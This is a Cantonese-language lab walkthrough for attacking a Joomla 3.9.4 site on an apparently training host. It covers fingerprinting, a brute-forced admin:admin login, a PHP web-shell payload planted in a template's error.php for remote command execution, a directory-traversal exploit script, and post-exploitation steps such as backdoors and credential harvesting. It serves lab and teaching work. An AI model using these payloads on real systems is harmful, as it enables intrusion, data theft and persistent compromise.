Joolmla

1. 發現點

1️⃣ 確認目標係 Joomla:

curl -s http://dev.inlanefreight.local/ | grep Joomla

出現:

<meta name="generator" content="Joomla! - Open Source Content Management" />

代表已確認用 Joomla!

2. 測試Payload

  • 嘗試存取 README.txt:

curl -s http://dev.inlanefreight.local/README.txt | head -n 5
  • 查看 XML 文件:

curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -

找到 <version>3.9.4</version>,代表使用 Joomla 3.9.4

  • 使用 droopescan:

droopescan scan joomla --url http://dev.inlanefreight.local

可列出版本範圍、Login 頁面、License.txt 文件

  • (可選)Joomlascan:

python2.7 joomlascan.py -u http://dev.inlanefreight.local

幫助尋找開放目錄或可能漏洞。

3. 暴力破解登入

  • Joomla 預設管理員帳號通常為 admin

  • 使用 joomla-brute.py 爆破登入:

sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

成功結果:

admin:admin

拎到帳號同密碼後直接登入後台:

http://dev.inlanefreight.local/administrator/index.php

4. 濫用後台功能取得 RCE

登入成功後,我地可以利用客製化模板來寫 WebShell

1️⃣ 解除插件錯誤

若後台報錯「發生錯誤。在 null 上呼叫成員函數 format()」

  • 進入:

http://dev.inlanefreight.local/administrator/index.php?option=com_plugins
  • 停用 快速圖示 - PHP 版本檢查

2️⃣ 編輯模板

  • 左邊點擊「Templates」

  • protostar > Customize

  • 點擊 error.php

  • 加入 payload:

<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>
  • Save & Close

3️⃣ 執行RCE測試:

curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id

出現:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

代表成功取得 shell。

4.已知漏洞利用

  • Joomla 核心漏洞唔多,大部分係插件漏洞。

  • 你可以用 exploit-db 搜 joomla,再配合版本進行篩選。

  • 常見可利用漏洞包括:

    • 路徑穿越 (Directory Traversal)

    • SQL Injection

    • RCE 通過第三方擴展

例如:

python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /

如果成功,可以下載任意路徑文件。

5. 連鎖漏洞

如果已經進入 Joomla 後台或者已經有RCE,可以繼續進行以下行動:

階段
攻擊行動

提權

嘗試 sudo -l、找 SUID 文件、弱權限服務提權

横向移動

掃描內網:netstat -annmap -sn 探索有冇其他主機

密碼回收

查看 configuration.php 裏面有冇數據庫密碼 / 或其他帳密洩露

持久化後門

再寫 shell 落 /imagesmodules,並放置後門連線

秘密蒐集

find / -name "*flag*" 或 `find / -name "*.txt"

最后更新于

这有帮助吗?